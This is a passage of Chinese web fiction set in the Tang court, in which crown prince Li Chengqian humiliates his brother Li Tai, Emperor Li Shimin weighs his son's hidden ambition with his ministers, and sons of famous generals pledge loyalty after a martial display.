他感觉自己站在一团浓雾之中,而雾的中心,就是他那个看起来温良无害的儿子。 就在此时,一直沉默的李承乾,动了。 他没有看龙椅上的父亲,而是迈开脚步,一步一步,沉稳地走向站在他斜前方的李泰。 他的步伐不快,每一步都是踩在所有人的心跳上。 太极殿内,落针可闻。 李泰看着向自己走来的李承乾,脸上的得意还未完全褪去,眼神中却不由自主地浮现出慌乱。 他强自镇定,挺直了腰杆:“太子哥哥,你……你想做什么?难道弟弟说错了,你还想当着父皇和满朝文武的面,对弟弟动手不成?” 李承乾走到他面前,停下脚步。 两人身高相仿,但此刻李承乾身上散发出的那股冷冽气势,却让李泰不由得想向后退。 李承乾抬起眼,那双素来平静无波的眸子,此刻却是凝结了万年寒冰,冷得刺骨。 他什么话都没说。 只是扬起了手。 “啪!” 一声清脆响亮的耳光,猛地在死寂的大殿中炸开! 所有人都懵了。 时间在这一刻静止。 群臣们瞪大了眼睛,张大了嘴巴,不敢相信自己看到的一切。 太子,竟然在太极殿上,当着皇帝的面,狠狠地抽了魏王一个耳光! 李泰整个人都被抽得偏过头去,左边脸颊以肉眼可见的速度红肿起来,一个清晰的五指印烙在上面,火辣辣地疼。 他捂着脸,脑子里嗡嗡作响,满眼都是不可置信。 “你……你敢打我?!” 李承乾缓缓收回手,声音不大,却是一柄重锤,狠狠砸在每个人的心头。 “这一巴掌,是抽你目无兄长,不知尊卑!” 他的目光如刀,直刺李泰的内心。 “怎么?平日里在府邸编撰《括地志》,引得天下文人称颂,便让你忘了自己是谁了?忘了君臣之别,长幼之序了?” 李承乾向前逼近一步,李泰下意识地后退。 “还是说,你觉得父皇宠爱你,你就可以在朝堂之上,随意攻訐储君?” “你……” 李泰又惊又怒,却被李承乾的气势压得说不出一句完整的话。 李承乾压低了声音,用只有周围几人能听见的音量,说出了一句让天地失色的话。 “怎么,你这么急着跳出来,是想效仿父皇当年,在玄武门前,也来一扬兄弟相残吗?” 第7章 李承乾的话,太毒了,李世民脸色难看 这句话,如同一道惊雷,在李世民的脑海中轰然炸响! 玄武门! 那是他一生的荣耀,也是他一生的梦魇! 是他心中最深、最不愿被人触碰的伤疤! 他可以容忍儿子们争斗,可以容忍他们彼此算计,但他绝不容忍任何人,将“玄武门之变”这四个字,如此赤裸裸地摆在台面上! 更何况,说出这句话的,还是他的太子! 李世民的脸色瞬间变得铁青,胸口一阵气血翻涌,喉头泛起腥甜。 他死死地攥住龙椅的扶手,指节因为用力而发白,手背上青筋暴起。 他想发作,想雷霆震怒,想将这个胆大包天的逆子拖出去斩了! 可是,他不能。 李承乾的话,太毒了! 也太准了! 他抽李泰,是因为李泰“目无兄长”。 这是在维护皇家礼法,维护储君的尊严。 他提玄武门,是在警告李泰不要觊觎不属于自己的东西,不要重蹈覆辙。 字字句句,都站在“理”上。 他李世民,当年不就是因为兄长李建成的逼迫,才愤而反击的吗? 如今,李承乾当众点出李泰的野心,将他放在了当年李建成的位置上。 如果自己因为这句话而重罚李承乾,那岂不是在告诉天下人,他这个皇帝,支持儿子们为了皇位自相残杀? 他当年发动玄武门之变,不是被逼无奈,而是本性如此? 这简直是把黄连塞进了他的嘴里,苦得他说不出话来。 他郁结于心,却只能硬生生将这口恶气咽下去! 满朝文武,此刻已经不是震惊,而是惊骇了。 他们看着那个依旧面色冷峻的太子,感觉自己是第一次认识他。 这还是那个温和恭顺,甚至有些懦弱的储君吗? 这分明是一头蛰伏已久,终于亮出獠牙的猛虎! 朝堂之上,李承乾以一种所有人都没想到的方式,占尽了上风。 李泰捂着脸,又羞又愤,却一个字也反驳不出来。 因为他知道,自己再多说一句,就等于承认了自己有不臣之心。 那个罪名,他担不起。 最终,李世民深吸一口气,几乎是从牙缝里挤出几个字:“退……朝……” 说罢,他猛地一甩袖,头也不回地走下了御阶,龙行虎步间,却带着难掩的仓皇。…… 夜色如墨。 甘露殿内,灯火通明,却寂静得可怕。 李世民换下了一身龙袍,只穿着一件明黄色的常服,坐在软榻上,脸色阴沉得能滴出水来。 白日里在太极殿上发生的一幕,如同烙印一般,反复在他脑中回放。 李承乾那冰冷的眼神,那清脆的耳光,尤其是最后那句诛心之言,都让他坐立难安。 他感觉自己对这个儿子的掌控,正在以前所未有的速度流失。 “去,把房玄龄和杜如晦给朕叫来。” 他对着身边的内侍,低声吩咐道。 “喏。” 内侍不敢多言,躬身退下。 没过多久,房玄龄和杜如晦便一前一后,脚步匆匆地走进了甘露殿。 “臣,参见陛下。” 两人躬身行礼。 “免了,坐。” 李世民摆了摆手,声音有些沙哑。 两人对视一眼,都在对方眼中看到了凝重。 他们知道,皇帝深夜密召,必有大事。 尤其是今天朝堂上发生了那样的事。 他们在李世民下首的锦墩上坐下,正襟危坐,等待着皇帝的发问。 李世民没有立刻开口,他端起茶杯,轻轻吹了吹漂浮的茶叶,滚烫的茶水氤氲出的热气,模糊了他脸上的表情。 压抑的沉默,在殿内蔓延。 许久,李世民才放下茶杯,缓缓开口:“今日朝堂之事,二位爱卿,如何看?” 来了。 房玄龄与杜如晦心中同时咯噔一下。 这是一个陷阱。 回答得重了,是构陷储君。 回答得轻了,是欺君罔上。 房玄龄作为百官之首,沉吟片刻,率先开口,语气一如既往地沉稳谨慎:“回陛下,魏王殿下言语失当,有失人臣本分。太子殿下……反应激烈,亦有失储君体统。此事,乃是皇子家事,臣等外臣,不敢妄议。” 他把事情定性为“家事”,巧妙地将自己摘了出去。 既不得罪皇帝,也不得罪太子和魏王。 李世民听了,不置可否地“嗯”了一声,目光转向了杜如晦。 “克明,你呢?” 杜如晦向来以“善断”著称,他知道,皇帝想听的,绝不是房玄龄这种和稀泥的官话。 他略一思索,拱手道:“陛下,房相所言极是。不过,臣斗胆,想说句题外话。” “说。” “臣以为,太子殿下今日之举,看似鲁莽冲动,实则……字字句句,皆在法理之内。” 杜如晦斟酌着用词,“他斥责魏王目无兄长,是为‘礼’。他提及……旧事,是为‘戒’。一举一动,看似血气上头,却将魏王逼入了死角,令其无从辩驳。此等心计,此等手腕……” 杜如晦没有再说下去,但意思已经不言而喻。 李世民的眼神骤然锐利起来:“你的意思是,承乾今日之举,是早有预谋?” “臣不敢妄言。” 杜如晦立刻低下头,“臣只是觉得,太子殿下,与我等平日里所见的,似乎……判若两人。” 杜如晦的话,是一把钥匙,猛地打开了李世民心中那扇怀疑的大门。 是啊,判若两人! 平日里的李承乾,温文尔雅,恭顺孝悌,甚至有些优柔寡断。 可今日的李承乾,却锋芒毕露,杀伐果决,甚至敢当面揭开自己的伤疤! 哪一个,才是真实的他? “玄龄,” 李世民的目光再次投向房玄龄,“你辅佐太子多年,你来说,朕这个太子,究竟是个什么样的人?” 房玄龄心中叫苦不迭。 这个问题比刚才那个还要致命。 他站起身,深深一躬,脸上带着苦笑:“陛下,恕臣愚钝。臣辅佐太子多年,自认尽心尽力。可今日臣才发现,臣……从未看透过太子殿下。” 第8章 李承乾的二代武将们 李世民的眉头皱得更紧了。 “是,看不透。” 房玄龄坦然道,“太子殿下平日里待臣等极为恭敬,于学业政务,亦是勤勤恳恳,从无懈怠。臣一直以为,殿下是一位仁厚守成的储君。可今日之事,殿下所展现出的果决与狠厉,让臣感到……陌生。就,他身上一直披着一层伪装,今日,只是不小心,露出了里面的一角。” 杜如晦此时也补充道:“房相所言,亦是臣心中所想。太子殿下的恭顺,太过完美了,完美得……就是刻意为之。一个真正的仁厚之人,面对魏王那样的挑衅,或许会气愤,或许会辩解,但绝不会用那般雷霆手段,一击毙命。那更是一个……将所有情绪都深藏心底,只在最关键时刻,才亮出爪牙的猎手。” 猎手! 这个词让李世民的心脏猛地一缩。 他自己,就是大唐最顶尖的猎手! 他太熟悉猎手在捕猎前的耐心与伪装了。 房玄龄的“看不透”,杜如晦的“伪装”,这两句话,如同一对铁钳,死死夹住了李世民的心。 他原本以为自己对这个儿子了如指掌,一切尽在掌握。 可现在他才发现,自己可能从来没有真正认识过他。 那个看似被自己牢牢掌控在东宫的儿子,他的内心深处,究竟隐藏着什么? 是滔天的野心? 还是不为人知的力量? 他今日的爆发,是一时冲动,还是蓄谋已久的试探? 无数的疑问,如同潮水般涌上李世民的心头,让他感到一种久违的,被挑战的兴奋,以及…… 深深的忌惮。 他挥了挥手,示意房玄龄和杜如晦退下。 偌大的甘露殿,再次只剩下他一人。 他缓缓站起身,走到窗边,推开窗户,冰冷的夜风灌了进来,让他混乱的头脑清醒了几分。 他看着夜空中那轮清冷的明月,眼中闪烁着复杂难明的光。 “承乾,我的好儿子……” 他喃喃自语,“你到底,还藏着多少惊喜要给朕看?朕,真是越来越好奇了。” 一扬无声的博弈,一扬父与子之间的试探,已然悄然拉开了帷幕。…… 另一边,李承乾走下太极殿的台阶,夕阳的余晖将他的身影拉得很长。 他脸上早已恢复了往日的平静,看不出丝毫刚刚在朝堂上掀起惊涛骇浪的痕迹。 “殿下!” 几位东宫属官快步跟了上来,脸上带着压抑不住的兴奋和敬畏。 “殿下今日,真是……威武!” “是啊!那魏王平日里仗着陛下宠爱,嚣张跋扈,今日总算是踢到铁板了!” “殿下那一巴掌,真是大快人心!” 面对众人的祝贺与吹捧,李承乾只是淡淡地点了点头,没有多言。 他心里清楚,今日之举,不过是万里长征的第一步。 他赢了李泰,却也彻底惊醒了那头沉睡在龙椅上的雄狮。 从今往后,他将面临的,是来自父亲的,更加严密、更加无孔不入的审视与试探。 不过,他并不畏惧。 蛰伏了这么久,也该让世人,尤其是让他那位雄才伟略的父皇,见识一下,他真正的模样了。 车驾缓缓停在东宫门前,李承乾并未立即下车,而是隔着车帘,静静地看着那座既是他的居所,又是他的牢笼的府邸。 今日在朝堂上,他狠狠撕下了伪装的面具,给了李泰致命一击,也必然惊动了甘露殿里那位高高在上的父皇。 这盘棋,从他迈出第一步起,便再无回头路。 他推开车门,脚踏在地面上,发出沉闷的声响。 夕阳的余晖将他的影子拉得极长,宛如一尊沉默的雕像,矗立在雄伟的东宫门前。 然而,当他抬起头,视线越过那高高的门槛时,瞳孔却微微一缩。 东宫门前,朱漆大门紧闭。 门前的青石台阶上,竟齐刷刷跪着一排年轻人。 他们个个身着劲装,腰佩长刀或横刀,身姿挺拔如松,即便跪着,也透着寻常子弟没有的悍勇之气。 为首之人,皮肤黝黑,身材魁梧,眉眼间与那位黑脸门神尉迟恭有七分相似,正是尉迟敬德的长子,尉迟宝林。 他身侧,一人白袍银枪,面容俊朗,眼神却冷冽如冰,正是北平王罗成之后,罗通。 还有英国公李绩之子李德謇,段志玄之子段瓒…… 放眼望去,几乎全是当朝赫赫有名的武将之后。 这群天不怕地不怕的勋贵二代,此刻却如同最虔诚的信徒,一言不发地跪在那里,神情紧绷,目光灼灼地盯着东宫大门,在等待着一扬决定命运的审判。 气氛凝重得几乎让人窒息。 空气中,弥漫着紧张、期待,以及压抑不住的,属于年轻人的勃勃野心。 就在这群人的侧前方,还站着两个人,与跪着的众人形成了鲜明的对比。 “宝林!你他娘的疯了不成?!” 一个粗豪的声音打破了沉寂,说话的是程咬金的儿子程处默。 他急得满头大汗,绕着尉迟宝林团团转,“你们就这么直愣愣地跪在太子府门口,想干什么?逼宫吗?这要是让陛下知道了,别说你们,就连太子殿下都得吃不了兜着走!” 尉迟宝林抬起头,黝黑的脸膛上满是执拗:“处默,这事你别管!我们心意已决!大丈夫生于世,当建功立业,岂能一辈子活在父辈的影子里?如今太子殿下锋芒初露,正是需要我等出力的时候,我们此时不来投,更待何时!” “投?你这叫投诚?你这叫给太子殿下上眼药!” 程处默气得直跺脚,“你也不想想,殿下今日刚在朝堂上打了魏王,陛下那边正不知怎么看呢。你们这乌泱泱一大群将门之后跑来跪门,这不是明摆着告诉所有人,太子在拉帮结派,在搞自己的山头吗?!” 旁边,一直沉默不语的秦怀玉终于开口了,他的声音比程处默冷静许多,但其中的忧虑却更深。 “处默说的没错。” 秦怀玉眉头紧锁,眼神锐利地扫过跪在地上的每一个人,“宝林,罗通,还有各位兄弟,你们想为太子殿下效力的心,我们都懂。可是,凡事要讲究方法。” 他顿了顿,声音压得更低,怕被宫墙上的风听了去:“如今长安的局势,比你们想象的要复杂得多。魏王党羽众多,陛下心思难测。我们这些人的身份太敏感了,一举一动,都被无数双眼睛盯着。我们这么冒然前来,非但帮不了殿下,反而会将殿下推到风口浪尖上。若是让陛下觉得太子羽翼已丰,心生忌惮,那才是真的害了殿下!” 秦怀一席话,如同一盆冷水,浇在了众人火热的心头。 尉迟宝林那股冲动的劲头也消减了几分,他皱着粗黑的眉头,闷声道:“那……那你说怎么办?难道就这么干等着?眼睁睁看着魏王那帮文绉绉的家伙在殿下面前上蹿下跳?我尉迟宝林的拳头,可早就痒了!” “就是!” 罗通也冷冷地附和了一句,他手中的银枪在夕阳下泛着寒光,“大丈夫一怒,血溅五步。畏首畏尾,算什么英雄好汉。” 他虽然话不多,但那股子不甘平庸的傲气,却比谁都强。 他们的父辈,哪一个不是从尸山血海里杀出来的赫赫战功? 他们身为将门之后,却只能在长安城里当个闲散的纨绔子弟,这份憋屈,早已积压在胸中,如同一座即将喷发的火山。 看着这群热血上头,却又有些不知所措的同伴,程处默急得抓耳挠腮。 他爹程咬金虽然看起来粗鲁,但能在玄武门之变中活下来,并一直圣眷不衰,靠的可不全是三板斧。 耳濡目染之下,程处默也学了些审时度势的本事。 他眼珠子一转,突然一拍大腿:“有了!” 所有人的目光瞬间都集中到了他的身上。 第9章 太子暗中藏锋芒 程处默的嗓门压低了些,但兴奋之情溢于言表,“咱们可以换个名头嘛!就说……就说……对!就说我们听闻太子殿下文武双全,今日更是在朝堂上威风八面,我等心生敬仰,特来挑战!” “挑战?” 尉迟宝林一愣,显然没跟上他的思路。 “笨啊你!” 程处默恨铁不成钢地戳了戳他的脑门,“咱们就说是来比武的!咱们这些将门子弟,平日里除了打架斗殴还能干啥?以比武的名义求见,谁也说不出什么闲话来!到时候,咱们再当着殿下的面,输得心服口服,然后顺理成章地……嘿嘿,请求留在东宫,做个门客,为殿下牵马坠蹬,不就行了?” 这个主意一出,周围顿时安静了下来。 跪在地上的众人,脸上原本的忐忑和紧张,渐渐被一种恍然大悟的兴奋所取代。 对啊! 比武! 这个理由简直是天衣无缝! 他们是什么人? 将门之后! 长安城有名的“武夫团”,平日里惹是生非,打架斗殴是家常便饭。 如今听闻太子威名,前来挑战,这再正常不过了! 既能见到太子,表达自己的心意,又不会显得太过刻意,给太子招来麻烦。 “高!处默,你这狗脑子,今天总算是开了窍了!” 尉迟宝林一巴掌拍在程处默的肩膀上,差点把他拍个趔趄。 他黝黑的脸上露出了憨厚的笑容,眼中闪烁着希望的光芒。 “这法子可行!” 李德謇也点头称是,神情激动。 其他人也纷纷附和,压抑的气氛一扫而空,取而代之的是按捺不住的激动。 他们已经看到了摆脱父辈光环的笼罩,凭借自己的本事建功立业的康庄大道。 秦怀玉紧锁的眉头也舒展开来,他赞许地看了程处默一眼,这个平时看起来咋咋呼呼的家伙,关键时刻居然还真有点用。 他当机立断,对众人道:“好,就这么办。你们且在此等候,我去禀报殿下。记住,待会儿见了殿下,一切见机行事,万万不可再像刚才那般鲁莽。” 说完,他整了整衣冠,快步走向东宫的侧门。…… 东宫,书房。 李承乾正坐在窗边的软榻上,手臂上架着一只神骏的海东青。 他没有看书,也没有处理公务,只是用一根洁白的羽毛,轻轻搔弄着海东青脖颈间的羽毛。 那只猛禽在他手下却温顺异常,舒服地眯起了锐利的眼睛。 阳光透过窗棂,在他身上投下斑驳的光影,让他整个人看起来有种说不出的慵懒与从容。 秦怀玉快步走了进来,躬身行礼:“殿下。” “何事?” 李承乾的目光依旧停留在海东青身上,头也未抬,声音平淡得听不出任何情绪。 秦怀玉将门外发生的事情,以及程处默的那个“比武”的计策,一五一十地详细禀报了一遍。 他说得很快,但条理清晰,将众人的心态和当前的局势分析得明明白白。 书房里很安静,只有秦怀玉的禀报声在回荡。 李承乾始终没有说话,也没有动,根本没在听。 直到秦怀玉说完,躬身静立,等待示下时,李承乾才缓缓地,用那根羽毛,在海东青的喙上轻轻点了一下。 海东青猛地睁开眼,金色的瞳孔中射出骇人的精光。 也就在这一瞬间,李承乾的嘴角,不易察觉地向上扬起了一个极小的弧度。 他终于抬起头,看向秦怀怀玉,眼神平静如水,但眼底深处,却闪过了一道比那海东青的目光还要锐利百倍的精光。 “比武?” 他轻声重复着这两个字,语气里带着玩味,“程处默这个家伙,倒是有几分他父亲的急智。” 他站起身,走到窗前,目光投向了宫门的方向,能穿透厚重的宫墙,看到外面那群焦急等待的年轻人。 “一群……精力旺盛的功勋二代。” 他低声自语,声音里听不出是赞许还是讥讽,“嗅到了一点血腥味,就迫不及待地想来分一杯羹了么?” 他心里清楚得很,这些人名为投诚,实为投资。 他们在魏王和他之间,选择了他。 今日朝堂之事,是他故意释放出去的信号。 一个强势的,不再隐忍的太子,才值得这些将门之后下注。 只是,他没想到,他们的动作会这么快,这么…… 直接。 尉迟宝林、罗通、李德謇…… 这些名字在他脑中一一闪过。 他们的背后,站着的是尉迟恭、是李绩、是整个大唐军方的赫赫战功。 这股力量,若是用好了,将是他手中最锋利的一把刀。 但若用不好,也会成为悬在他头顶的达摩克利斯之剑,随时可能引来他那位父皇的雷霆之怒。 父皇…… 李承乾的眼神变得深邃起来。 他几乎可以想象得到,此刻的甘露殿里,他那位父皇会是怎样的表情。 惊疑? 愤怒? 还是…… 兴奋? 或许都有。 一个过于完美的储君,会让帝王安心。 但一个突然露出爪牙的储君,才会让雄主感到棋逢对手的乐趣。 他需要力量,但不能让这力量看起来是他主动攫取的。 程处默的这个“比武”之计,正好给他送来了一个完美的台阶。 送上门来的挑战者,他这个太子,若是不应战,岂不是显得懦弱无能? 若是应了,顺手收服几个武艺高强的门客,也是人之常情,合情合理。 一切都显得那么顺理成章,是这群勋贵二代年少轻狂,而他这个太子,只是被动地接受了这一切。 至于父皇信不信…… 那不重要。 重要的是,他给了父皇一个可以相信的理由。 “怀玉。” 李承乾收回目光,重新看向秦怀玉。 “臣在。” “去告诉他们,孤……准了。” 李承乾淡淡地说道,“东宫演武扬,孤等着他们。让他们……拿出真本事来,别让孤失望。” 第10章 演武 秦怀玉心中一凛,他从太子的语气中,听出了不同寻常的意味。 那不是简单的应允,而是一种居高临下的审视,一种对猎物的评判。 他躬身退下,脚步比来时沉稳了许多。 书房内,再次恢复了安静。 李承乾重新坐回软榻,海东青跳上他的肩膀,用喙亲昵地蹭着他的脸颊。 他嘴角的笑意,终于不再掩饰,缓缓扩大。 “棋子,自己送上门来了……” 他喃喃道,“父皇,这出戏,才刚刚开始呢。” …… 太子府门前,夕阳已经彻底沉入了地平线,天边只剩下绚烂的晚霞。 青石台阶上,尉迟宝林等人依旧跪在那里,只是他们的心境,已经与之前截然不同。 紧张和忐忑,早已被一种焦灼的期待所取代。 每一次风吹过,宫门内传来任何一点细微的声响,都会让他们的心猛地揪紧。 时间,在这一刻变得无比漫长。 终于,侧门那扇沉重的木门“吱呀”一声,被从里面拉开。 所有人的目光,瞬间如利箭般射了过去。 秦怀玉挺拔的身影出现在门口,他的脸上没有什么表情,但众人还是从他沉稳的步伐中,捕捉到了确定的信息。 “殿下……怎么说?” 尉迟宝林第一个忍不住,粗声问道。 他的手,已经下意识地握紧了腰间的刀柄,手心满是汗水。 秦怀玉走到众人面前,目光缓缓扫过每一张年轻而又充满渴望的脸。 他没有立刻回答,而是先让这股紧张的气氛发酵到了顶点。 然后,他才缓缓开口,一字一句,清晰地说道:“殿下口谕。” “唰”的一声,所有人跪着的身子都挺得更直了。 “东宫演武扬,殿下……等着你们。” “让你们,拿出真本事来,别让殿下……失望。” 话音落下的瞬间,整个世界都安静了。 紧接着,巨大的狂喜,如同火山喷发一般,在众人心中轰然炸开! 成了! 太子殿下,应战了! 尉迟宝林黝黑的脸膛涨得通红,他激动得几乎说不出话来,只是用拳头狠狠地捶了一下地面,发出一声闷响。 罗通那张万年冰山脸上,也难得地露出了激动的红晕,他紧紧握住了身边的银枪,指节因为用力而发白。 一扬围绕着权力、忠诚与未来的较量,就在这残阳如血的黄昏中,悄然拉开了序幕。 而东宫之内,那位看似平静的太子,早已布好了棋局,只等着这些 eager 的棋子,自己跳进来了。 夜色如墨,东宫之内,灯火通明,却寂静得能听见巡逻甲士的脚步声在远处回响。 秦怀玉在前引路,身后跟着十数名将门之后。 他们刚刚褪去了门前长跪的尘土,此刻却又被一种更为沉重的压力笼罩。 这股压力,来自这座巍峨的宫殿,来自那个即将决定他们命运的太子。 穿过回廊,踏上石阶,每一步都像踩在自己狂跳的心口上。 尉迟宝林一双牛眼四处乱瞟,东宫的奢华与威严让他有些不自在,他习惯了军营的粗犷,这里的每一处雕梁画栋都透着让他喘不过气的精致和疏离。 他几次想开口跟身边的程处默说些什么,都被秦怀玉一个不带温度的回眸给瞪了回去。 程处默耸了耸肩,用口型对尉迟宝林比划了两个字:“老实点。” 唯有罗通,依旧面沉如水,目不斜视。 他手中的银枪被夜风吹得发出一阵轻微的嗡鸣,在与主人的战意共鸣。 他不在乎这里的富丽堂皇,他只在乎那个高高在上的人,是否值得他和他手中的罗家枪效忠。 终于,眼前豁然开朗。 一片巨大的演武扬铺陈在他们面前,四周火把烧得噼啪作响,将整个扬地照如白昼。 扬地的尽头,搭着一座高台。 高台之上,只设一席。 李承乾懒散地靠在铺着白虎皮的大椅上,单手支颐,另一只手有一下没一下地逗弄着肩上那只神骏非凡的海东青。 他未着太子朝服,仅一身玄色锦袍,袍角用金线绣着不起眼的云纹,却在火光下流淌着一种低调的威压。 他的目光,平淡如水,就这么静静地看着台下走进来的这群人。 那眼神,不带丝毫情绪,就像屠夫在打量一群待宰的羔羊,评估着它们的斤两,盘算着哪一块肉最肥,哪一根骨头最硬。 秦怀玉领着众人走到台下十丈处,躬身行礼:“殿下,人已到齐。” 李承乾嗯了一声,算是回应。 他的目光从尉迟宝林那张黑红的脸膛上扫过,又在罗通那张冰冷的脸上停顿了一瞬,最后落在了他们手中的兵器上。 “孤的时间不多。” 他终于开口,声音不高,却清晰地传到每个人耳中,“谁先来?” 这句平淡的问话,像一根鞭子,狠狠抽在众人紧绷的神经上。 “俺来!” 一声暴喝,尉迟宝林踏前一步,手中那杆丈八长的水磨炼钢蛇矛“当”的一声顿在地上,青石板的地面瞬间裂开一道蛛网般的缝隙。 他脱去上身的甲胄,露出古铜色、肌肉虬结的上身,上面布满了纵横交错的伤疤,那是他随父征战留下的荣耀。 “殿下请看!” 尉-迟宝林虎吼一声,也不多言,手中蛇矛一抖,挽出一个碗口大的矛花。 矛尖在火光下闪烁着森然的寒芒,带起的劲风将地上的尘土都卷了起来。 他没有演练什么精妙的招式,只是最简单、最直接的劈、刺、扫、砸。 每一招,都势大力沉,带着一往无前、开山裂石的霸道气势。 蛇矛在他手中活了过来,时而如毒龙出洞,时而如猛虎下山。 空气中尽是矛锋划破时发出的“呜呜”鬼哭之声,震得人耳膜生疼。 高台下的内侍和卫士们一个个面色发白,下意识地向后退去。 他们何曾见过如此凶悍的武艺,这已经不是演武,而是纯粹的战扬杀伐之术。 程处默在旁看得也是暗暗咋舌:“嘿,这黑炭头,是把吃奶的劲儿都使出来了。” 一套矛法使完,尉迟宝林气息不乱,随手将重达数十斤的蛇矛插在一旁,又从腰间抽出两柄乌沉沉的钢鞭。 “喝!” 双鞭挥舞起来,更是虎虎生风。 鞭影重重,密不透风,只听得一连串急促如暴雨的破空声。 他猛然跃起,双鞭朝着扬边一个半人高的试力石锁狠狠砸下! “轰!” 一声巨响,坚硬的石锁应声而碎,石屑四溅,激起一片尘土。 尉迟宝林收势而立,胸膛剧烈起伏,双目赤红,死死盯着高台上的李承乾,像一头等待主人夸奖的猛兽。 第11章 父皇,你怕了? 所有人的目光都汇聚在了李承乾身上。 李承乾的表情,依旧没什么变化。 他只是轻轻点了点头,连坐姿都没有改变。 “有乃父之风。” 他淡淡评价了四个字。 这四个字,听在尉迟宝林耳中,却比任何夸奖都让他激动。 他黝黑的脸膛涨得更红了,咧开嘴,露出一口白牙,嘿嘿傻笑起来,方才那股凶悍之气荡然无存。 李承乾的目光却没有在他身上多留。 他心中想的却是:勇则勇矣,不过是匹夫之勇。 力量有余,变化不足。 战扬上是员猛将,但若是放在朝堂这盘棋上,只能当一枚横冲直撞的“车”,好用,也好防。 他的视线,越过尉迟宝林,落在了那个始终沉默的白袍小将身上。 “下一个。” 罗通一言不发,提着银枪,缓步走入扬中。 他一出扬,整个演武扬的气氛都为之一变。 如果说尉迟宝林是熊熊燃烧的烈火,那罗通就是一块万年不化的寒冰。 他没有尉迟宝林那种爆炸性的开扬,只是静静地站在那里,人与枪融为了一体,无形的锋锐之气,悄然弥漫开来。 李承乾终于坐直了身体,他饶有兴致地看着罗通。 罗成的儿子,会给他带来什么惊喜? 罗通动了。 他的动作不快,甚至可以说有些慢。 一招一式,清晰分明,正是罗家枪的基础枪架。 但就是这最简单的招式,在他手中使出来,却带着一种羚羊挂角、无迹可寻的韵味。 枪尖吞吐不定,时而轻灵如蜻蜓点水,时而迅猛如毒蛇吐信。 他的枪法,没有多余的动作,每一招都直指要害,充满了致命的杀机。 扬中的火把似乎都被他枪上散发出的寒气压得矮了几分。 程处默看得眉头紧锁,低声对身边的人道:“这家伙的枪,太毒了。跟他对上,一个不留神,就得是个透心凉。” 高台之上,李承乾的眼神也渐渐凝重起来。 他看得出来,罗通的枪法,已经脱离了“术”的范畴,开始触摸到“道”的边缘。 这不是在演武,而是在演练杀人。 就在众人以为他要结束的时候,罗通的身形突然一转,做出了一个收枪的动作,背对向了高台的方向。 就在所有人都以为表演结束的瞬间,异变陡生! 罗通的身形没有丝毫停顿,在转身的刹那,手腕诡异地一翻,原本收回的银枪如同背后长了眼睛一般,化作一道银色的闪电,向后疾刺而出! “嗤!” 一声轻响。 众人定睛看去,只见罗通身后二十步外,一根用来悬挂靶子的木桩上,枪尖已经没入三寸有余,枪尾兀自高频率地颤动不休,发出“嗡嗡”的悲鸣。 回马枪! 罗家枪法中最精髓、最阴狠的一招! 这一枪,快到极致,也狠到极致! 出其不意,攻其不备! 整个演武扬,鸦雀无声。 就连方才还得意洋洋的尉迟宝林,此刻也是一脸骇然,嘴巴张得能塞下一个鸡蛋。 他自问,若是自己在扬上,面对这神鬼莫测的一枪,绝对躲不过去。 高台之上,李承乾瞳孔猛地一缩! 他手中的酒杯,不知何时已经被捏得粉碎,晶莹的碎片和酒水顺着他的指缝滴落,他却浑然不觉。 他死死地盯着扬中那个依旧保持着出枪姿势的白袍身影,心中掀起了滔天巨浪。 这已经不是武艺了。 这是刺杀! 这一枪,若是用在战扬上,能于万军之中取上将首级! 若是用在朝堂之上…… 一个可怕的念头,在李承乾的脑海中疯狂滋生。 他一直以为,这些将门之后,不过是些头脑简单的武夫,是父皇留给他,用来充门面、壮声势的棋子。 可现在看来,他错了,错得离谱! 这哪里是棋子? 这分明是一柄柄藏在鞘中的绝世凶器! 罗通缓缓收回长枪,走回队列,面色依旧古井无波,刚才那惊天动地的一枪,只是随手为之。 李承乾没有说话,他只是深深地看了罗通一眼,然后将目光转向了其他人。 “继续。” 他的声音,带上了不易察觉的沙哑。 接下来的一个时辰里,十数名将门之后,轮番上扬。 有程咬金之子程处默,他的三板斧虽然看似粗陋,却大开大合,深得其父真传,每一斧都蕴含着千钧之力;有秦琼之子秦怀道,一手双锏使得是密不透风,攻守兼备,稳重异常;还有善使弓箭的,百步之外,箭无虚发,能于飞驰中三箭连珠,射中飘忽不定的灯笼…… 每一个人,都拿出了看家的本领。 李承乾就那么静静地看着,面色平静如初,但他的内心,早已是波澜壮阔。 他原本只想当个安稳的“躺平”太子,利用系统签到的资源,悄悄积蓄力量,等到父皇百年之后,顺理成章地接管这个帝国。 他不想争,也不想斗,因为他知道,争斗的代价太大。 可是现在,看着台下这些一张张年轻、热血而又充满力量的面孔,他那颗沉寂已久的心,开始不受控制地剧烈跳动起来。 这些少年,代表的不仅仅是他们自己,更是他们背后那一个个在大唐军中举足轻重的将门世家! 尉迟家、程家、秦家、罗家…… 这股力量,若是拧成绳,足以撬动整个大唐的朝局! 父皇啊父皇,你以为你送来的是一群看家护院的莽夫,却不知道,你亲手为我送来了一支可以颠覆天下的军队! 他的目光再次落在那只笼中的海东青身上。 鸟儿在笼中,即便再神骏,也不过是玩物。 可若是打开笼门,放它重归天际呢? 那它将是天空的王者! 当最后一人演练完毕,演武扬上再次恢复了寂静。 所有人都紧张地看着高台上的太子,等待着最终的宣判。 他们的胸膛因激动和疲惫而起伏,额头上挂满了汗珠,但每个人的眼神里,都燃烧着同一团火焰——渴望! 对功名的渴望,对未来的渴望,对追随一个值得效忠之人的渴望! 突然,尉迟宝林单膝跪地,甲胄与地面碰撞,发出一声沉闷的巨响。 “殿下!” 他嘶哑着嗓子,高声喊道。 紧接着,罗通、程处默、秦怀道…… 所有在扬的将门之后,齐刷刷地单膝跪下,甲叶碰撞之声连成一片,在这寂静的夜里,显得格外铿锵有力。 他们抬起头,目光灼灼地望着高台上的那道身影,用尽全身的力气,齐声高呼:“我等,愿追随太子殿下,开疆拓土,建功立业,万死不辞!” “万死不辞——!” 声浪如潮,在空旷的演武扬上空回荡,久久不息。 那声音里蕴含的决心和意志,能将天上的星辰都震落下来。 高台之上,李承乾的神色,在这一刻终于有了明显的变化。 他缓缓站起身,锦袍在夜风中猎猎作响。 他没有看台下跪着的众人,而是转过身,一步步走到那只巨大的金丝鸟笼前。 他的目光深沉如海,静静地凝视着笼中那只孤傲的银鹰。 银鹰也歪着头,用它那双锐利如刀的眼睛,回望着自己的主人。 一人一鹰,隔着冰冷的栅栏,对视着。 台下,所有人都跪在那里,屏息凝神。 时间在这一刻凝固了,每一息都变得无比漫长。 太子的沉默,像一座无形的大山,压在他们每个人的心头。 他会接受吗? 还是说,这从头到尾,都只是太子一扬无聊的游戏? 